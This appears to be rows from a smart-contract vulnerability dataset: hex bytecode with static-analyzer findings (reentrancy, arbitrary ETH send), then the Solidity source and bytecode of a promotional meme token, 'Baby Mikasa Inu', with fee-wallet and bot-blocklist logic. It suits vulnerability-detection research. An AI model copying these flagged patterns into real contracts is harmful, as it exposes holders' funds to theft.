13ce2565b9190505550611f44565b600f42611efd9190613b02565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b5b5b6000611f5130610b19565b905060168054906101000a900460ff16158015611fbc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd45750601660149054906101000a900460ff165b1561228557600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561207d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61208657600080fd5b601660159054906101000a900460ff16156121205742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541061211f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612116906138cc565b60405180910390fd5b5b601660179054906101000a900460ff16156121aa57600061214c600d548461281990919063ffffffff16565b905061219d61218e84612180601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b6128de90919063ffffffff16565b8261289490919063ffffffff16565b90506121a88161293c565b505b600081111561226b5761220560646121f7600c546121e9601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b61281990919063ffffffff16565b61289490919063ffffffff16565b8111156122615761225e6064612250600c54612242601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b19565b61281990919063ffffffff16565b61289490919063ffffffff16565b90505b61226a81612593565b5b6000479050600081111561228357612282476123ae565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061232e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561233857600090505b612344848484846129f3565b50505050565b6000838311158290612392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238991906137ea565b60405180910390fd5b50600083856123a19190613be3565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123fe60028461289490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612429573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247a60048461289490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124a5573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124f660048461289490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612521573d6000803e3d6000fd5b5050565b600060085482111561256c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125639061382c565b60405180910390fd5b6000612576612a20565b905061258b818461289490919063ffffffff16565b915050919050565b60016016806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125ca576125c9613de9565b5b6040519080825280602002602001820160405280156125f85781602001602082028036833780820191505090505b50905030816000815181106126105761260f613dba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126b257600080fd5b505afa1580156126c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ea91906131eb565b816001815181106126fe576126fd613dba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061276530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116e5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127c99594939291906139e7565b600060405180830381600087803b1580156127e357600080fd5b505af11580156127f7573d6000803e3d6000fd5b505050505060006016806101000a81548160ff02191690831515021790555050565b60008083141561282c576000905061288e565b6000828461283a9190613b89565b90508284826128499190613b58565b14612889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612880906138ec565b60405180910390fd5b809150505b92915050565b60006128d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a4b565b905092915050565b60008082846128ed9190613b02565b905083811015612932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129299061388c565b60405180910390fd5b8091505092915050565b6000600c9050600c82101561295457600c905061296b565b6023821115612966576023905061296a565b8190505b5b6000612981600283612aae90919063ffffffff16565b1461299557808061299190613ce2565b9150505b6129bc600a6129ae60028461281990919063ffffffff16565b61289490919063ffffffff16565b600a819055506129e9600a6129db60088461281990919063ffffffff16565b61289490919063ffffffff16565b600b819055505050565b80612a0157612a00612af8565b5b612a0c848484612b3b565b80612a1a57612a19612d06565b5b50505050565b6000806000612a2d612d1a565b91509150612a44818361289490919063ffffffff16565b9250505090565b60008083118290612a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8991906137ea565b60405180910390fd5b5060008385612aa19190613b58565b9050809150509392505050565b6000612af083836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612d7c565b905092915050565b6000600a54148015612b0c57506000600b54145b15612b1657612b39565b600a54600f81905550600b546010819055506000600a819055506000600b819055505b565b600080600080600080612b4d87612dda565b955095509550955095509550612bab86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e4290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c4085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128de90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8c81612e8c565b612c968483612f49565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cf391906139cc565b60405180910390a3505050505050505050565b600f54600a81905550601054600b81905550565b600080600060085490506000683635c9adc5dea000009050612d50683635c9adc5dea0000060085461289490919063ffffffff16565b821015612d6f57600854683635c9adc5dea00000935093505050612d78565b81819350935050505b9091565b6000808314158290612dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbb91906137ea565b60405180910390fd5b508284612dd19190613d2b565b90509392505050565b6000806000806000806000806000612df78a600a54600b54612f83565b9250925092506000612e07612a20565b90506000806000612e1a8e878787613019565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612e8483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061234a565b905092915050565b6000612e96612a20565b90506000612ead828461281990919063ffffffff16565b9050612f0181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128de90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612f5e82600854612e4290919063ffffffff16565b600881905550612f79816009546128de90919063ffffffff16565b6009819055505050565b600080600080612faf6064612fa1888a61281990919063ffffffff16565b61289490919063ffffffff16565b90506000612fd96064612fcb888b61281990919063ffffffff16565b61289490919063ffffffff16565b9050600061300282612ff4858c612e4290919063ffffffff16565b612e4290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613032858961281990919063ffffffff16565b90506000613049868961281990919063ffffffff16565b90506000613060878961281990919063ffffffff16565b905060006130898261307b8587612e4290919063ffffffff16565b612e4290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006130b56130b084613a81565b613a5c565b905080838252602082019050828560208602820111156130d8576130d7613e1d565b5b60005b8581101561310857816130ee8882613112565b8452602084019350602083019250506001810190506130db565b5050509392505050565b600081359050613121816141d1565b92915050565b600081519050613136816141d1565b92915050565b600082601f83011261315157613150613e18565b5b81356131618482602086016130a2565b91505092915050565b600081359050613179816141e8565b92915050565b60008151905061318e816141e8565b92915050565b6000813590506131a3816141ff565b92915050565b6000815190506131b8816141ff565b92915050565b6000602082840312156131d4576131d3613e27565b5b60006131e284828501613112565b91505092915050565b60006020828403121561320157613200613e27565b5b600061320f84828501613127565b91505092915050565b6000806040838503121561322f5761322e613e27565b5b600061323d85828601613112565b925050602061324e85828601613112565b9150509250929050565b60008060006060848603121561327157613270613e27565b5b600061327f86828701613112565b935050602061329086828701613112565b92505060406132a186828701613194565b9150509250925092565b600080604083850312156132c2576132c1613e27565b5b60006132d085828601613112565b92505060206132e185828601613194565b9150509250929050565b60006020828403121561330157613300613e27565b5b600082013567ffffffffffffffff81111561331f5761331e613e22565b5b61332b8482850161313c565b91505092915050565b60006020828403121561334a57613349613e27565b5b60006133588482850161316a565b91505092915050565b60006020828403121561337757613376613e27565b5b60006133858482850161317f565b91505092915050565b6000602082840312156133a4576133a3613e27565b5b60006133b284828501613194565b91505092915050565b6000806000606084860312156133d4576133d3613e27565b5b60006133e2868287016131a9565b93505060206133f3868287016131a9565b9250506040613404868287016131a9565b9150509250925092565b600061341a8383613426565b60208301905092915050565b61342f81613c17565b82525050565b61343e81613c17565b82525050565b600061344f82613abd565b6134598185613ae0565b935061346483613aad565b8060005b8381101561349557815161347c888261340e565b975061348783613ad3565b925050600181019050613468565b5085935050505092915050565b6134ab81613c29565b82525050565b6134ba81613c6c565b82525050565b60006134cb82613ac8565b6134d58185613af1565b93506134e5818560208601613c7e565b6134ee81613e2c565b840191505092915050565b6000613506602383613af1565b915061351182613e3d565b604082019050919050565b6000613529602a83613af1565b915061353482613e8c565b604082019050919050565b600061354c602283613af1565b915061355782613edb565b604082019050919050565b600061356f602283613af1565b915061357a82613f2a565b604082019050919050565b6000613592601b83613af1565b915061359d82613f79565b602082019050919050565b60006135b5601583613af1565b91506135c082613fa2565b602082019050919050565b60006135d8602383613af1565b91506135e382613fcb565b604082019050919050565b60006135fb602183613af1565b91506136068261401a565b604082019050919050565b600061361e602083613af1565b915061362982614069565b602082019050919050565b6000613641602983613af1565b915061364c82614092565b604082019050919050565b6000613664602583613af1565b915061366f826140e1565b604082019050919050565b6000613687602483613af1565b915061369282614130565b604082019050919050565b60006136aa601783613af1565b91506136b58261417f565b602082019050919050565b60006136cd601883613af1565b91506136d8826141a8565b602082019050919050565b6136ec81613c55565b82525050565b6136fb81613c5f565b82525050565b60006020820190506137166000830184613435565b92915050565b60006040820190506137316000830185613435565b61373e6020830184613435565b9392505050565b600060408201905061375a6000830185613435565b61376760208301846136e3565b9392505050565b600060c0820190506137836000830189613435565b61379060208301886136e3565b61379d60408301876134b1565b6137aa60608301866134b1565b6137b76080830185613435565b6137c460a08301846136e3565b979650505050505050565b60006020820190506137e460008301846134a2565b92915050565b6000602082019050818103600083015261380481846134c0565b905092915050565b60006020820190508181036000830152613825816134f9565b9050919050565b600060208201905081810360008301526138458161351c565b9050919050565b600060208201905081810360008301526138658161353f565b9050919050565b6000602082019050818103600083015261388581613562565b9050919050565b600060208201905081810360008301526138a581613585565b9050919050565b600060208201905081810360008301526138c5816135a8565b9050919050565b600060208201905081810360008301526138e5816135cb565b9050919050565b60006020820190508181036000830152613905816135ee565b9050919050565b6000602082019050818103600083015261392581613611565b9050919050565b6000602082019050818103600083015261394581613634565b9050919050565b6000602082019050818103600083015261396581613657565b9050919050565b600060208201905081810360008301526139858161367a565b9050919050565b600060208201905081810360008301526139a58161369d565b9050919050565b600060208201905081810360008301526139c5816136c0565b9050919050565b60006020820190506139e160008301846136e3565b92915050565b600060a0820190506139fc60008301886136e3565b613a0960208301876134b1565b8181036040830152613a1b8186613444565b9050613a2a6060830185613435565b613a3760808301846136e3565b9695505050505050565b6000602082019050613a5660008301846136f2565b92915050565b6000613a66613a77565b9050613a728282613cb1565b919050565b6000604051905090565b600067ffffffffffffffff821115613a9c57613a9b613de9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b0d82613c55565b9150613b1883613c55565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b4d57613b4c613d5c565b5b828201905092915050565b6000613b6382613c55565b9150613b6e83613c55565b925082613b7e57613b7d613d8b565b5b828204905092915050565b6000613b9482613c55565b9150613b9f83613c55565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613bd857613bd7613d5c565b5b828202905092915050565b6000613bee82613c55565b9150613bf983613c55565b925082821015613c0c57613c0b613d5c565b5b828203905092915050565b6000613c2282613c35565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c7782613c55565b9050919050565b60005b83811015613c9c578082015181840152602081019050613c81565b83811115613cab576000848401525b50505050565b613cba82613e2c565b810181811067ffffffffffffffff82111715613cd957613cd8613de9565b5b80604052505050565b6000613ced82613c55565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d2057613d1f613d5c565b5b600182019050919050565b6000613d3682613c55565b9150613d4183613c55565b925082613d5157613d50613d8b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6141da81613c17565b81146141e557600080fd5b50565b6141f181613c29565b81146141fc57600080fd5b50565b61420881613c55565b811461421357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c16c2fe783e71f0f963fa49ea32eb2384e5c158d6c1c2dac2638b911f0d1b4664736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,637 |
0x90b00a110c9163df312d54ad9413ded59275e72d | //SPDX-License-Identifier: UNLICENSED
/*
Telegram: https://t.me/babymikasainu
If you will remember in the original ending, the story closed with Mikasa sitting at Eren's grave and thanking him with tears in her eyes. It was no surprise to see as his death weighed on her heavily, but these new pages have revealed the biggest secret of Mikasa
As the final pages of volume 34 come in, Attack on Titan shows Mikasa living life as a wife and mother. She is shown sitting at Eren's grave with a man facing away from readers. A small child sits next to Mikasa and she seems happy with the child. Clearly, Armin's dream for Mikasa to find happiness after Eren came true.
Let’s celebrate Mikasa can finally find her happiness.
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyMikasa is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Baby Mikasa Inu";
string public constant symbol = unicode"BabyMikasa";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 14;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (4 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createNewPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiqNStart() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101bb5760003560e01c80636fc3eaec116100ec578063a9059cbb1161008a578063c3c8cd8011610064578063c3c8cd80146104e3578063db92dbb6146104f8578063dcb0e0ad1461050d578063dd62ed3e1461052d57600080fd5b8063a9059cbb1461048e578063b2289c62146104ae578063b60e16af146104ce57600080fd5b806373f54a11116100c657806373f54a11146103fa5780638da5cb5b1461041a57806394b8d8f21461043857806395d89b411461045857600080fd5b80636fc3eaec146103b057806370a08231146103c5578063715018a6146103e557600080fd5b8063313ce5671161015957806345596e2e1161013357806345596e2e1461032d57806349bd5a5e1461034d578063590f897e146103855780635996c6b01461039b57600080fd5b8063313ce567146102da57806332d873d81461030157806340b9a54b1461031757600080fd5b806318160ddd1161019557806318160ddd1461026a5780631940d0201461028f57806323b872dd146102a557806327f3a72a146102c557600080fd5b806306fdde03146101c7578063095ea7b3146102185780630b78f9c01461024857600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506102026040518060400160405280600f81526020016e42616279204d696b61736120496e7560881b81525081565b60405161020f919061155a565b60405180910390f35b34801561022457600080fd5b506102386102333660046115c4565b610573565b604051901515815260200161020f565b34801561025457600080fd5b506102686102633660046115f0565b610589565b005b34801561027657600080fd5b50678ac7230489e800005b60405190815260200161020f565b34801561029b57600080fd5b50610281600c5481565b3480156102b157600080fd5b506102386102c0366004611612565b61061e565b3480156102d157600080fd5b50610281610672565b3480156102e657600080fd5b506102ef600981565b60405160ff909116815260200161020f565b34801561030d57600080fd5b50610281600d5481565b34801561032357600080fd5b5061028160095481565b34801561033957600080fd5b50610268610348366004611653565b610682565b34801561035957600080fd5b5060085461036d906001600160a01b031681565b6040516001600160a01b03909116815260200161020f565b34801561039157600080fd5b50610281600a5481565b3480156103a757600080fd5b50610268610748565b3480156103bc57600080fd5b5061026861094d565b3480156103d157600080fd5b506102816103e036600461166c565b61095a565b3480156103f157600080fd5b50610268610975565b34801561040657600080fd5b5061026861041536600461166c565b6109e9565b34801561042657600080fd5b506000546001600160a01b031661036d565b34801561044457600080fd5b50600e546102389062010000900460ff1681565b34801561046457600080fd5b506102026040518060400160405280600a815260200169426162794d696b61736160b01b81525081565b34801561049a57600080fd5b506102386104a93660046115c4565b610a57565b3480156104ba57600080fd5b5060075461036d906001600160a01b031681565b3480156104da57600080fd5b50610268610a64565b3480156104ef57600080fd5b50610268610c56565b34801561050457600080fd5b50610281610c6c565b34801561051957600080fd5b50610268610528366004611697565b610c84565b34801561053957600080fd5b506102816105483660046116b4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610580338484610d01565b50600192915050565b6000546001600160a01b031633146105bc5760405162461bcd60e51b81526004016105b3906116ed565b60405180910390fd5b600954821080156105ce5750600a5481105b6105d757600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061062b848484610e25565b6001600160a01b038416600090815260036020908152604080832033845290915281205461065a908490611738565b9050610667853383610d01565b506001949350505050565b600061067d3061095a565b905090565b6000546001600160a01b031633146106ac5760405162461bcd60e51b81526004016105b3906116ed565b6007546001600160a01b0316336001600160a01b0316146106cc57600080fd5b6000811161070c5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064016105b3565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146107725760405162461bcd60e51b81526004016105b3906116ed565b600e5460ff16156107bf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105b3565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610824573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610848919061174f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b9919061174f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a919061174f565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b47610957816111f3565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461099f5760405162461bcd60e51b81526004016105b3906116ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610a0957600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161073d565b6000610580338484610e25565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b81526004016105b3906116ed565b600e5460ff1615610adb5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016105b3565b600654610afb90309060016001